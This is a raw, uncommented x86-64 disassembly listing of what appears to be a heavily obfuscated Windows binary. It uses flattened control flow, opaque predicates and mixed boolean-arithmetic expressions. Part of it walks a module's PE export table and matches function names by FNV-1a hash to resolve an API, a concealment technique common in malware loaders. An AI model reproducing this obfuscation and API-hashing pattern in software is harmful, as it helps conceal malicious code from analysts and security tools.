mov r10d, r9d
or r9d, r8d
and r8d, 0x20cc21a
or r8d, 0x332424
and r11d, 0x90c00100
or r11d, 0x10
and esi, 0x493228c1
or esi, 0x8080440c
xor esi, r11d
mov eax, r12d
or eax, 0xdbfeebdb
xor eax, r8d
xor eax, esi
xor eax, 0xa6beb606
mov esi, r12d
xor esi, 0xd9f229c1
xor r12d, 0x260dd63e
or r12d, esi
not r12d
or r12d, eax
mov eax, r15d
not eax
mov ecx, r13d
xor ecx, 0xefeff7ff
mov esi, r14d
xor esi, 0x200c436
and esi, r15d
mov edi, r13d
xor edi, 0xcd3d5188
and edi, ecx
or r13d, 0xdd2d5988
and r10d, 0x91008
xor r15d, ecx
xor ecx, eax
and eax, 0xc5044100
add eax, r10d
add eax, 0x2082a441
xor eax, esi
mov edx, r13d
and edx, 0x451651c1
and r14d, 0xc02000
or r14d, edx
xor r13d, 0xdd3d5988
and r13d, edi
and edi, 0xd9fb29c9
xor edi, r14d
xor edi, 0x41100180
or r13d, edi
xor r13d, eax
xor r13d, 0x38abbcc9
or ecx, r15d
not ecx
or ecx, r13d
xor ecx, r12d
mov eax, r9d
not eax
and eax, ecx
xor r9d, ecx
xor r9d, eax
mov esi, ebx
and esi, 0x1f489344
lea r14d, [rsi + 0x60b00cb3]
mov ecx, esi
xor ecx, 0x1f489344
mov edx, ebx
and edx, 0xd338e252
or edx, 0x2c47198d
mov edi, ebx
and edi, 0x2cc71dad
xor edi, edx
mov edx, edi
xor edx, 0x330f8ac9
mov eax, ebx
not eax
xor edi, 0xccf07536
and edi, eax
mov r15d, edx
and r15d, ebx
or r15d, edi
and r15d, edx
mov r10d, r9d
and r10d, 0xe0b76cbb
lea eax, [r10 + 0x1c000300]
mov edx, r9d
and edx, 0x1f489344
xor edx, eax
mov dword [rbp + 0x4c4], edx
mov eax, r14d
and eax, 0x12086e0
xor ebx, 0x8480104
and ebx, ecx
and ecx, 0x16001000
or ecx, eax
xor ecx, 0x96027819
or ebx, ecx
mov eax, ebx
xor eax, 0x8540002
and eax, 0x8d56825a
mov ecx, ebx
and ecx, 0x12287da5
or ecx, eax
xor ecx, 0xb557ca28
mov r11d, ebx
xor r11d, 0x9722fef9
mov eax, r11d
and eax, 0xa001040
or eax, ecx
and r14d, 0x55d88b24
xor esi, 0x3569a797
or esi, r14d
mov ecx, esi
xor ecx, 0x7f79bff7
and ecx, eax
not eax
mov edi, r15d
and edi, 0x2a2134d3
mov edx, esi
xor edx, 0x7ff8bff7
or esi, 0x80064008
and esi, eax
or ecx, esi
and esi, edx
and edx, eax
xor ecx, edx
or esi, ecx
mov edx, r15d
and edx, 0xd5decb2c
mov r14d, edx
xor r14d, 0x4912a796
mov eax, r14d
or eax, 0x5d4314bb
mov ecx, r15d
or ecx, 0xaabdffd7
xor ecx, eax
mov r12d, r15d
xor r12d, 0x22202040
and r12d, edi
xor edx, 0xd5decb2c
mov r13d, edx
or edx, edi
not edi
mov eax, r15d
and eax, 0x20200000
mov r8d, edi
and r8d, 0x2006240
add eax, r8d
add eax, 0x4c400028
xor eax, r12d
mov r8d, eax
xor r8d, 0xecfc892c
mov r12d, ecx
xor ecx, 0x2a3197d7
and ecx, r8d
xor r12d, 0x6000
xor eax, 0x130376d3
and eax, r12d
or eax, ecx
mov r12d, dword [rbp + 0x4c4]
xor r12d, 0xfcb76fbb
and r12d, r9d
xor r10d, 0xe0b76cbb
and r13d, 0x504a8308
and r14d, 0x859448b4
or r14d, r13d
mov ecx, r15d
and ecx, 0xa203442
and edi, 0xa59548b5
or edi, ecx
xor edi, r14d
xor edi, 0xdeeefffa
and edi, edx
or edi, eax
mov eax, esi
xor eax, 0x4625c679
mov ecx, edi
and ecx, 0x4625c679
or ecx, 0x21981982
and edi, 0xb9da3986
xor edi, ecx
mov ecx, edi
xor ecx, 0x67bddffb
xor esi, 0xb9da3986
and esi, ecx
xor edi, 0x98422004
and edi, eax
mov eax, ebx
xor eax, 0x130881e4
and eax, r11d
mov ecx, ebx
or ecx, 0xdbd780fa
mov edx, ecx
and edx, 0xc51ea4c
and ebx, 0x281501
or ebx, edx
xor ebx, eax
xor ebx, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, ebx
mov eax, r15d
and eax, 0xdbd780fa
or r11d, r15d
and r15d, 0x24287f05
or r15d, 0x43d68078
xor r15d, eax
xor r15d, ecx
xor r15d, 0x98010082
and r15d, r11d
or r15d, edi
or r15d, esi
mov eax, r9d
and eax, 0x3089a
mov ecx, r10d
and ecx, 0x804000
or ecx, eax
xor ecx, 0x10804204
xor r9d, 0xe0342421
and r9d, r10d
or r9d, ecx
mov eax, r9d
xor eax, 0xef7cb561
mov edx, r9d
and edx, 0x30240e
mov ecx, eax
and ecx, 0xf1cfcab1
or ecx, edx
mov ebx, ecx
xor ebx, 0xe303540
mov edx, ebx
and edx, 0x74b34cb1
and ecx, 0x814ca20e
or ecx, edx
or ebx, 0xa45bbedf
mov esi, ecx
xor esi, 0x51a47060
and esi, ebx
mov ebx, r12d
and ebx, 0xa45bbedf
or ebx, 0x1b044100
mov r8d, r12d
and r8d, 0x5ba44120
xor r8d, ebx
mov ebx, esi
not ebx
and ecx, 0x18000
mov r11d, esi
and r11d, 0x10c048b0
mov edi, ebx
and edi, 0xec26020a
mov edx, esi
and edx, 0x1182445
or edx, ecx
lea ecx, [rdi + r11]
add edi, r11d
add edi, 0x2018000
and r10d, 0x40a44020
xor edi, edx
mov edx, r10d
xor edx, 0xfce65bba
xor ecx, 0xec26120a
and ecx, edx
mov edx, esi
and edx, 0x718c06f1
and ebx, 0x8473e80e
or ebx, edx
or esi, r10d
xor ebx, r10d
lea edx, [r10 + 0x319a445]
xor edi, 0x281c020
and edx, edi
xor ebx, 0x718c06f1
and ebx, esi
or ebx, ecx
or ebx, edx
mov ecx, r8d
xor ecx, 0xbf5fffdf
xor r8d, 0x40a00020
and r8d, ebx
not ebx
and ebx, ecx
mov ecx, r9d
and r9d, 0xc09208a5
and eax, 0x3a25f71a
or eax, r9d
xor ecx, r12d
xor eax, r12d
mov edx, r12d
not edx
or ebx, r8d
xor ecx, 0xef7cb561
and ecx, edx
xor eax, 0x3aa7ff9e
or eax, ecx
mov ecx, eax
and ecx, 0xd49ab90b
mov edx, eax
and edx, 0x2b6546f4
or edx, 0x4412a808
xor edx, ecx
mov ecx, edx
xor ecx, 0x6f77eefc
mov edi, ebx
xor edi, 0x2b6546f4
and edi, ecx
not eax
and eax, ebx
xor ebx, 0xd49ab90b
xor edx, 0x90881103
and edx, ebx
or eax, edx
or eax, edi
xor eax, r15d
imul eax, eax, 0x1000193
mov dword [rbp + 0x4a4], eax
mov eax, dword [rbp + 0x450]
mov r10, qword [rbp + 0x3e0]
mov r8d, dword [rbp + 0x3e8]
mov esi, dword [rbp + 0x488]
mov edi, dword [rbp + 0x490]
mov r9d, dword [rbp + 0x410]
jmp 0x140087380
cmp eax, 0x581f37ef
jle 0x140089070
cmp eax, 0x581f37f0
je 0x1400890e7
cmp eax, 0x5c59f878
je 0x140089100
cmp eax, 0x7694ece2
jne 0x140087380
test byte [rbp + 0x400], 1
movsx eax, byte [rbp + 0x4ef]
mov ecx, dword [rbp + 0x430]
sete byte [rbp + 0x4ac]
cmp dword [rbp + 0x438], 0xa
setl byte [rbp + 0x484]
mov ecx, 0x462bec05
jmp 0x140088f43
cmp ecx, 0x22c0f4b1
jne 0x140089029
mov ecx, dword [rbp + 0x4b0]
mov ecx, 0x1f53ad1b
cmp ecx, 0x3117fdc3
jle 0x140088f90
cmp ecx, 0x58a11e18
jg 0x140088fb0
cmp ecx, 0x3117fdc4
je 0x140088fce
cmp ecx, 0x462bec05
jne 0x140088f43
movzx edx, byte [rbp + 0x4ac]
cmp byte [rbp + 0x484], 0
mov ebx, 0x3117fdc4
mov ecx, 0x3117fdc4
jne 0x140088f82
mov ecx, 0x71946ac1
test dl, dl
cmovne ecx, ebx
jmp 0x140088f43
cmp ecx, 0x1f53ad1a
jg 0x140088f2c
cmp ecx, 0x8353906e
je 0x140088fef
cmp ecx, 0xb9e70da7
je 0x140088f38
jmp 0x140088f43
cmp ecx, 0x58a11e19
je 0x14008900b
cmp ecx, 0x71946ac1
jne 0x140088f43
mov ecx, 0x3117fdc4
jmp 0x140088f43
mov dword [rbp + 0x4b0], eax
mov ecx, dword [rbp + 0x4b0]
cmp ecx, 0x41
setge byte [rbp + 0x4a8]
mov ecx, dword [rbp + 0x4c0]
jmp 0x140088f43
cmp byte [rbp + 0x4a8], 0
mov ecx, 0x58a11e19
jne 0x140088f43
mov ecx, 0x22c0f4b1
jmp 0x140088f43
mov edx, dword [rbp + 0x4b0]
mov ecx, 0xb9e70da7
cmp edx, 0x5b
jl 0x140088f43
mov ecx, 0x22c0f4b1
jmp 0x140088f43
cmp ecx, 0x1f53ad1b
jne 0x140088f43
mov eax, 0x9fdcb46a
jmp 0x140087380
cmp eax, 0xbd0b03e6
je 0x140089130
cmp eax, 0xe59fd857
jne 0x140089155
mov r8d, dword [rbp + 0x4a4]
mov eax, 0x5c59f878
xor esi, esi
mov edi, dword [rbp + 0x4e8]
jmp 0x140087380
cmp eax, 0x17954bb8
je 0x140087367
cmp eax, 0x2f530768
jne 0x140087380
mov eax, dword [rbp + 0x454]
jmp 0x140087380
mov r8d, dword [rbp + 0x430]
mov eax, 0x5c59f878
mov esi, 1
mov edi, dword [rbp + 0x430]
jmp 0x140087380
mov rax, qword [rbp + 0x468]
add rax, 1
mov qword [rbp + 0x4d8], rax
mov rax, qword [rbp + 0x468]
mov al, byte [rax]
mov byte [rbp + 0x4ef], al
cmp byte [rbp + 0x4ef], 0
setne byte [rbp + 0x4bc]
mov eax, dword [rbp + 0x448]
jmp 0x140087380
cmp byte [rbp + 0x4bc], 0
mov eax, 0x87ce9d3c
mov ecx, 0x2f530768
cmovne eax, ecx
jmp 0x140087380
mov dword [rbp + 0x4c8], edi
test esi, esi
mov eax, 0xc6b502bf
mov ecx, 0xbd0b03e6
cmove eax, ecx
mov r10, qword [rbp + 0x4d8]
mov ecx, dword [rbp + 0x4c8]
mov dword [rbp + 0x48c], ecx
mov r9d, r8d
jmp 0x140087380
mov eax, dword [rbp + 0x48c]
mov dword [rbp + 0x4e8], eax
mov dword [rbp + 0x430], r9d
mov qword [rbp + 0x468], r10
mov eax, dword [rbp + 0x44c]
jmp 0x140087380
cmp eax, 0xc6b502bf
jne 0x140087380
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x51f7bdbc
mov eax, 0xb47ad49
mov ecx, 0x38ffd90d
cmove eax, ecx
jmp 0x140086fa0
lea rax, [rbp - 0x50]
mov qword [rbp + 0x498], rax
mov rax, qword [rbp + 0x498]
mov rax, qword [rbp + 0x3f0]
mov qword [rbp - 0x50], rax
mov eax, dword [0x1400f2740]
mov ecx, dword [0x1400f2744]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x4b0]
sete r8b
cmp ecx, 0xa
setge cl
setl dl
setl byte [rbp + 0x4d8]
mov eax, edx
xor al, r8b
or dl, r8b
mov ebx, eax
xor bl, 1
or cl, r8b
and cl, bl
xor cl, dl
mov ebx, 0xf5647b0b
mov ecx, 0x1be0c2cb
cmovne ebx, ecx
test al, al
mov eax, 0xf5647b0b
cmovne ebx, eax
mov edx, 0x45f0e8c0
nop word [rax + rax]
cmp edx, 0x1be0c2ca
jg 0x140089220
cmp edx, 0xd6cac8db
je 0x140089252
cmp edx, 0xf5647b0b
jne 0x140089200
jmp 0x14008927e
cmp edx, 0x1be0c2cb
je 0x140089264
cmp edx, 0x45f0e8c0
jne 0x140089200
movzx eax, byte [rbp + 0x4b0]
cmp byte [rbp + 0x4d8], 0
mov edx, 0x1be0c2cb
mov edi, 0xd6cac8db
cmovne edx, edi
test al, al
cmovne edx, edi
jmp 0x140089200
mov rax, qword [rbp + 0x3f0]
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov edx, ebx
jmp 0x140089200
mov edx, 0xd6cac8db
jmp 0x140089200
mov eax, 0x59f609f9
xor ecx, ecx
mov qword [rbp + 0x3f8], rcx
jmp 0x140086fa0
mov qword [rbp + 0x468], rcx
mov rcx, qword [rbp + 0x468]
mov r8d, dword [rcx + 0x88]
mov r9d, dword [rcx + 0x8c]
mov r10, r8
add r10, qword [rbp + 0x3f0]
mov ebx, dword [0x1400f2748]
mov edi, dword [0x1400f274c]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
sete bl
sete byte [rbp + 0x4b0]
cmp edi, 0xa
setge al
setl byte [rbp + 0x4d8]
setl dl
mov ecx, edx
or sil, dl
and dl, bl
xor cl, bl
and al, bl
xor al, cl
mov ebx, esi
xor bl, 1
and bl, al
xor al, 1
test sil, sil
movzx eax, al
movzx ecx, cl
cmove ecx, eax
or bl, cl
mov eax, edx
or al, bl
and cl, dl
xor cl, dl
xor cl, al
mov eax, edx
xor al, bl
test cl, 1
mov ecx, 0x80d5946
mov edi, 0xbfa4195b
cmovne ecx, edi
mov qword [rbp - 0x48], r10
test bl, bl
mov ebx, ecx
mov esi, 0x80d5946
cmovne ebx, esi
mov dword [rbp - 0x40], r9d
test dl, dl
cmovne ebx, ecx
test al, 1
cmovne ebx, edi
mov ecx, 0x97bfe48f
nop dword [rax + rax]
cmp ecx, 0xfb599b2d
jg 0x140089360
cmp ecx, 0x97bfe48f
je 0x140089377
cmp ecx, 0xbfa4195b
jne 0x140089340
jmp 0x1400893a8
cmp ecx, 0xfb599b2e
je 0x1400893a4
cmp ecx, 0x80d5946
jne 0x140089340
mov ecx, 0xfb599b2e
jmp 0x140089340
movzx eax, byte [rbp + 0x4b0]
movzx ecx, byte [rbp + 0x4d8]
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x80d5946
mov edi, 0xfb599b2e
cmovne ecx, edi
test al, al
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
jmp 0x140089340
mov ecx, ebx
jmp 0x140089340
test r8d, r8d
setne byte [rbp + 0x468]
cmp byte [rbp + 0x468], 0
mov eax, 0x6d411e28
mov ecx, 0x74a48c19
cmovne eax, ecx
jmp 0x140086fa0
mov eax, ecx
cmp ecx, 0x59f609f9
jne 0x140086fa0
mov rax, qword [rbp + 0x458]
mov rcx, qword [rbp + 0x3f8]
mov qword [rax], rcx
mov eax, 0xc1f986a0
jmp 0x140086f40
lea rax, [0x1400f2128]
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov rax, qword [rax]
mov qword [rbp + 0x420], rax
mov eax, 0xaedd3aee
nop dword [rax + rax]
cmp eax, 0xe1ab80ac
je 0x140089450
cmp eax, 0xc1f986a0
je 0x14008b928
cmp eax, 0xaedd3aee
jne 0x140089420
cmp qword [rbp + 0x420], 0
mov eax, 0xc1f986a0
mov ecx, 0xe1ab80ac
cmove eax, ecx
jmp 0x140089420
mov eax, 0x210ac8bc
jmp 0x140089480
cmp ecx, 0x4387f679
je 0x140089682
mov eax, ecx
cmp ecx, 0x4c0ac614
jne 0x140089480
mov eax, 0x1596ce59
xor ecx, ecx
mov qword [rbp + 0x418], rcx
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x210ac8bb
jle 0x1400894d0
cmp ecx, 0x4387f678
jle 0x140089530
cmp ecx, 0x59f609f8
jle 0x140089457
cmp ecx, 0x6d411e28
je 0x14008946d
cmp ecx, 0x74a48c19
jne 0x14008b89b
mov eax, dword [0x1400f2758]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4387f679
mov ecx, 0x9e263315
jmp 0x1400896a5
cmp ecx, 0xfbaf9ba2
jg 0x140089570
cmp ecx, 0xcf6d1809
jg 0x1400895af
cmp ecx, 0x9e263315
je 0x14008968c
mov eax, ecx
cmp ecx, 0xb0116fc1
jne 0x140089480
mov eax, dword [rbp + 0x494]
mov dword [rbp + 0x4d0], eax
mov rax, qword [rbp - 0x48]
mov ecx, dword [rbp + 0x4d0]
cmp ecx, dword [rax + 0x18]
mov eax, 0xcf6d180a
mov ecx, 0xfbaf9ba3
cmove eax, ecx
jmp 0x140089480
cmp ecx, 0x2b7a335a
jg 0x1400895f0
mov eax, dword [rbp + 0x408]
cmp ecx, 0x210ac8bc
je 0x140089480
mov eax, ecx
cmp ecx, 0x29a05c17
jne 0x140089480
mov eax, 0xb0116fc1
mov dword [rbp + 0x494], 0
jmp 0x140089480
cmp ecx, 0xbb6a63f
jg 0x140089649
cmp ecx, 0xfbaf9ba3
je 0x1400896b7
mov eax, ecx
cmp ecx, 0xb47ad49
jne 0x140089480
mov eax, dword [rbp + 0x4d0]
add eax, 1
mov dword [rbp + 0x494], eax
mov eax, 0xb0116fc1
jmp 0x140089480
cmp ecx, 0xcf6d180a
je 0x1400896cb
mov eax, ecx
cmp ecx, 0xdf1fe156
jne 0x140089480
cmp dword [rbp + 0x464], 2
mov eax, 0x1596ce59
mov ecx, 0x4c0ac614
cmove eax, ecx
mov rcx, qword [rbp + 0x3d8]
mov qword [rbp + 0x418], rcx
jmp 0x140089480
cmp ecx, 0x2b7a335b
je 0x14008b64d
mov eax, ecx
cmp ecx, 0x38ffd90d
jne 0x140089480
mov eax, dword [rbp + 0x4d0]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov ebx, dword [rdx + 0x1c]
mov edx, dword [rdx + 0x24]
add rbx, rcx
add rdx, rcx
movzx eax, word [rdx + rax*2]
mov eax, dword [rbx + rax*4]
add rax, rcx
mov qword [rbp + 0x3d8], rax
mov eax, 0xdf1fe156
mov dword [rbp + 0x464], 1
jmp 0x140089480
cmp ecx, 0xbb6a640
je 0x14008b73b
mov eax, ecx
cmp ecx, 0x1596ce59
jne 0x140089480
mov rax, qword [rbp + 0x498]
mov eax, 0x59f609f9
mov rcx, qword [rbp + 0x418]
mov qword [rbp + 0x3f8], rcx
jmp 0x140089480
mov eax, 0x9e263315
jmp 0x140089480
mov eax, dword [0x1400f2758]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4387f679
mov ecx, 0x29a05c17
cmove eax, ecx
cmp dword [0x1400f275c], 0xa
cmovl eax, ecx
jmp 0x140089480
mov eax, 0xdf1fe156
mov dword [rbp + 0x464], 2
jmp 0x140089480
mov ecx, dword [0x1400f2738]
mov eax, dword [0x1400f273c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete r8b
cmp eax, 0xa
setl r9b
mov ecx, r9d
xor cl, r8b
mov ebx, edx
and bl, r9b
xor bl, cl
mov ebx, 0x17954bb8
mov esi, 0x9b012d00
cmovne ebx, esi
test edx, edx
mov edi, 0x9b012d00
cmove edi, ebx
cmp eax, 0xa
cmovl edi, esi
test cl, cl
cmove edi, ebx
test edx, edx
mov edx, 0x581f37f0
mov ecx, 0x17954bb8
cmovne edx, ecx
mov ebx, edi
cmove ebx, esi
cmp eax, 0xa
mov eax, dword [0x1400f2710]
mov r13d, dword [0x1400f2714]
mov ecx, 0x581f37f0
cmovl edx, ecx
mov dword [rbp + 0x4c4], edx
cmovge ebx, edi
mov dword [rbp + 0x448], ebx
lea edi, [rax - 1]
imul edi, eax
mov dword [rbp + 0x438], edi
and edi, 1
sete r10b
cmp r13d, 0xa
setge al
setl r11b
mov ebx, r11d
xor bl, r10b
mov edx, ebx
xor dl, 1
and dil, r11b
or dil, dl
xor dil, bl
mov edx, edi
xor dl, 1
and al, r10b
or al, dl
or r11b, r10b
xor r11b, bl
mov ebx, r11d
xor bl, al
mov edx, ebx
not dl
mov ecx, r11d
not cl
and cl, al
or cl, dl
xor al, 1
or al, r11b
xor cl, al
test cl, 1
mov edx, 0x8353906e
mov esi, 0x71946ac1
cmovne edx, esi
test bl, 1
mov ebx, 0x71946ac1
cmovne ebx, edx
test al, 1
cmove ebx, edx
test cl, 1
mov eax, dword [rbp + 0x4d0]
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
mov esi, 0x8353906e
cmovne ebx, esi
mov edx, dword [rdx + 0x20]
add rdx, rcx
mov r10d, dword [rdx + rax*4]
add r10, rcx
test dil, dil
mov eax, 0x8353906e
cmovne eax, ebx
test r11b, r11b
cmove eax, ebx
mov dword [rbp + 0x4c0], eax
or r9b, r8b
mov ecx, 0x7694ece2
mov eax, 0xe59fd857
cmovne ecx, eax
mov dword [rbp + 0x450], ecx
mov ecx, 0x7694ece2
mov eax, 0x9fdcb46a
cmovne ecx, eax
mov dword [rbp + 0x454], ecx
mov eax, 0xbd0b03e6
mov r9d, 0x811c9dc5
mov dword [rbp + 0x44c], r13d
jmp 0x140089860
mov rax, qword [rbp + 0x468]
mov rax, qword [rbp + 0x468]
mov eax, 0x9b012d00
nop dword [rax]
cmp eax, 0x17954bb7
jg 0x14008b3a0
cmp eax, 0xbd0b03e5
jg 0x14008b510
cmp eax, 0x87ce9d3c
je 0x14008b561
cmp eax, 0x9b012d00
je 0x14008b57d
cmp eax, 0x9fdcb46a
jne 0x140089860
mov dword [rbp + 0x490], r9d
mov dword [rbp + 0x48c], edi
mov dword [rbp + 0x3e8], esi
mov dword [rbp + 0x3e0], r8d
mov qword [rbp + 0x400], r10
test byte [rbp + 0x438], 1
movsx r9d, byte [rbp + 0x4ef]
mov eax, dword [rbp + 0x430]
mov dword [rbp + 0x410], eax
sete byte [rbp + 0x4ac]
cmp r13d, 0xa
setl byte [rbp + 0x484]
mov eax, 0x462bec05
jmp 0x140089900
mov eax, dword [rbp + 0x4b0]
cmp eax, 0x5b
mov eax, 0x22c0f4b1
mov ecx, 0xb9e70da7
cmovl eax, ecx
nop
cmp eax, 0x3117fdc3
jle 0x140089950
cmp eax, 0x58a11e18
jg 0x14008a330
cmp eax, 0x3117fdc4
je 0x14008a368
cmp eax, 0x462bec05
jne 0x140089900
movzx ecx, byte [rbp + 0x4ac]
cmp byte [rbp + 0x484], 0
mov eax, 0x71946ac1
mov edx, 0x3117fdc4
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140089900
cmp eax, 0x1f53ad1a
jg 0x14008a350
cmp eax, 0x8353906e
je 0x14008a38a
cmp eax, 0xb9e70da7
jne 0x140089900
mov r11d, dword [rbp + 0x4b0]
mov eax, r11d
and eax, 0x300d32eb
or eax, 0x8922c414
mov edx, r11d
and edx, 0xcff2cd14
xor edx, eax
mov eax, edx
xor eax, 0x76dd3beb
mov ecx, edx
xor ecx, 0x8922c414
or ecx, eax
xor edx, 0x9f2d3869
and edx, ecx
xor edx, 0x160ffc7d
and edx, ecx
mov eax, edx
and eax, 0xe1770bb
mov r15d, edx
and r15d, 0xf1e88f44
or r15d, 0x6022002
xor r15d, eax
xor r15d, 0x81550b9
or r15d, edx
mov eax, r11d
and eax, 0x6098fcd3
or eax, 0xf210028
mov ecx, r11d
and ecx, 0x9f67032c
xor ecx, eax
mov ebx, ecx
xor ebx, 0x1367093
mov edx, ecx
or edx, 0xf1e88f44
xor edx, 0xffe98f6c
or edx, ebx
mov ebx, ecx
xor ebx, 0xfec98f6c
or ebx, edx
xor edx, ecx
xor edx, 0x1367093
and edx, ebx
mov ecx, r15d
and ecx, 0xee181f2d
mov ebx, r15d
and ebx, 0x11e7e0d2
or ebx, 0x6000808
xor ebx, ecx
mov ecx, edx
mov eax, edx
not r15d
and r15d, edx
xor edx, 0x11e7e0d2
xor ecx, 0xb4b1d84f
and ecx, edx
or eax, 0x5aa9c762
xor eax, 0xfeb9df6f
or eax, ecx
mov ecx, ebx
xor ecx, 0x4d4e2fb8
xor ebx, 0xb2b1d047
and ebx, eax
not eax
and eax, ecx
or r15d, eax
or r15d, ebx
not r15d
mov eax, r15d
and eax, 0xa4519b98
and r15d, 0x5bae6467
or r15d, 0x84109000
xor r15d, eax
mov eax, r15d
xor eax, 0xdfbef467
mov r10d, r15d
and r10d, 0x5dfaf697
xor r15d, 0x824402f0
and r15d, eax
mov eax, r10d
xor eax, r15d
xor eax, 0x400290
xor r10d, 0x400290
and r10d, r15d
or r10d, eax
mov r8d, r10d
xor r8d, 0xf7bc1db4
mov eax, r10d
or eax, 0xe66cfdeb
mov edx, eax
xor edx, 0xee6fffeb
mov ecx, r10d
and ecx, 0x19930214
xor ecx, 0x8030200
mov esi, r10d
xor esi, 0x11d0e05f
or esi, ecx
mov ecx, esi
not ecx
and ecx, edx
and eax, 0xc2df5143
and edx, 0x19000214
or edx, eax
xor edx, esi
mov eax, ecx
xor eax, edx
xor eax, 0x3db0aebc
xor edx, 0x19900214
and edx, ecx
mov ecx, eax
and ecx, 0xe66cfdeb
and eax, 0x19930214
or eax, edx
or eax, ecx
mov edx, eax
and edx, 0xecc1695
mov ecx, eax
xor ecx, 0xe8a0eb7e
mov r14d, edx
xor r14d, 0xf9b3eb7e
mov esi, eax
xor esi, 0x175f1481
mov ebx, edx
xor ebx, 0x844653a6
and ebx, r14d
or edx, 0x820a4727
mov edi, eax
or edi, 0x7df5b8d8
xor edi, 0x7fffbcd9
mov r12d, eax
xor r12d, 0x6aaaac59
and r12d, ecx
or r12d, edi
mov ecx, edx
and ecx, 0x888217a6
and eax, 0x4440010
or eax, ecx
xor edx, 0x864e57a7
and edx, ebx
and ebx, 0xecc5695
xor ebx, eax
xor ebx, 0x4441684
or edx, ebx
xor edx, r12d
or esi, r14d
mov eax, esi
and eax, 0xecc1695
xor eax, edx
xor eax, 0xecc1695
not esi
and esi, edx
or esi, eax
mov edx, esi
and edx, 0x3d6ad4f5
mov r14d, esi
and r14d, 0xc2940808
mov eax, esi
or eax, 0xc2952b0a
mov ebx, esi
and ebx, 0xc2952b0a
mov r12d, edx
xor r12d, 0x1501f783
and r12d, eax
xor edx, 0x3d6ad4f5
mov ecx, edx
and ecx, 0x354014c4
and eax, 0x4a2ee339
or eax, ecx
or edx, ebx
xor eax, ebx
not ebx
mov ecx, esi
or ecx, 0xeaff2b7e
and ebx, 0x286b2376
or ebx, r14d
mov edi, ecx
and edi, 0x8febd69e
and esi, 0x10000001
or esi, edi
not ecx
and ecx, r12d
and r12d, 0x3d6af7f5
xor r12d, esi
xor r12d, 0x9fead69d
or ecx, r12d
xor ecx, ebx
xor eax, 0xb5d11cc6
and eax, edx
or eax, ecx
mov ecx, eax
and ecx, 0xd25c9294
or ecx, 0x28034442
and eax, 0x2da36d6b
xor eax, ecx
mov ecx, eax
xor ecx, 0x156990b7
mov edx, eax
xor edx, 0xea966f48
or edx, ecx
xor eax, 0x60a362d4
and eax, edx
mov ecx, eax
xor ecx, 0x8a350d9c
or ecx, edx
xor eax, edx
xor eax, 0x75caf263
and eax, ecx
mov ecx, r11d
and ecx, 0xbae01e84
mov edx, r11d
and edx, 0x451fe17b
or edx, 0x98801e04
xor edx, ecx
mov ecx, r11d
and ecx, 0x80000
mov esi, edx
and esi, 0xb4240811
and edx, 0x4bd3f7ee
add ecx, esi
add ecx, 0x52e686
xor ecx, edx
and r11d, 0xf133e96a
mov ebx, r11d
xor r11d, ecx
xor ecx, 0x9012e802
xor ebx, 0xf133e96a
and ebx, ecx
xor r11d, 0x672d077d
or ebx, r11d
mov r14d, ebx
not r14d
and r14d, eax
mov r12d, eax
or r12d, 0x8e000724
mov ecx, eax
and ecx, 0x8e000724
and r11d, 0xc000004
mov esi, ebx
and esi, 0x82000720
or esi, r11d
mov edx, eax
xor edx, 0x8a000104
and edx, ecx
not ecx
mov r11d, r12d
and r11d, 0xfb0fa016
mov edi, ecx
and edi, 0xea028104
or edx, edi
mov edi, eax
and edi, 0xf058c9
or edi, r11d
xor edi, edx
xor edi, 0x11fd79db
mov edx, eax
and edx, 0x609ee042
and r12d, 0x9f611a9d
or r12d, edx
mov edx, eax
and edx, 0x520
and ecx, 0x9f611a9d
add ecx, edx
add ecx, 0x609ee042
xor ecx, r12d
xor eax, 0x8e000724
or eax, ecx
not eax
or eax, edi
mov ecx, esi
and ecx, 0x6000000
and ebx, 0x71fff8db
or ebx, ecx
or esi, 0x262e5009
xor esi, ebx
mov ecx, esi
xor ecx, 0xa82e572d
xor esi, 0x57d1a8d2
and esi, eax
not eax
and eax, ecx
or esi, eax
mov ecx, r14d
and ecx, 0xc64177d6
or ecx, 0x39268801
mov eax, r14d
and eax, 0x39be8829
xor eax, ecx
mov ecx, eax
xor ecx, 0xff67ffd7
mov edx, esi
xor edx, 0x39be8829
or edx, ecx
xor eax, esi
xor eax, 0x39268801
and eax, ecx
xor eax, edx
not eax
and esi, r14d
mov ecx, esi
and ecx, 0xa32261d0
or ecx, 0x10999806
mov edx, esi
and edx, 0x5cdd9e2f
xor edx, ecx
xor edx, eax
and esi, eax
mov eax, edx
xor eax, esi
xor eax, 0x10999806
xor edx, 0x10999806
and edx, esi
or edx, eax
mov eax, edx
mov r14d, edx
mov ebx, edx
mov r12d, edx
mov ecx, edx
and ecx, 0x310718ea
or ecx, 0x6f8a511
mov r11d, edx
and r11d, 0xcef8e715
xor r11d, ecx
mov ecx, r11d
xor ecx, 0xf7cb4c5b
or ecx, edx
xor r11d, edx
and edx, 0x190a9b13
or eax, 0xe6f564ec
and r14d, 0xe6f564ec
mov esi, edx
xor esi, 0xc026d4ea
and esi, eax
or ebx, 0xfffd6ffd
mov edi, ebx
and edi, 0xb0495454
and r12d, 0x28002
or r12d, edi
not ebx
and ebx, esi
and esi, 0x592e9bbb
xor esi, r12d
xor esi, 0x304b9016
or ebx, esi
xor ebx, r14d
xor ebx, 0xd92c4ff9
xor edx, 0x190a9b13
mov esi, edx
and esi, 0x21101
and eax, 0xddf8ce1a
or eax, esi
or edx, r14d
xor eax, r14d
xor eax, 0x220731e5
and eax, edx
or eax, ebx
mov edx, eax
xor edx, 0x190a9b13
xor eax, 0x17c68da6
or eax, edx
xor r11d, 0x834b3a4
and r11d, ecx
mov ecx, eax
not ecx
and ecx, r11d
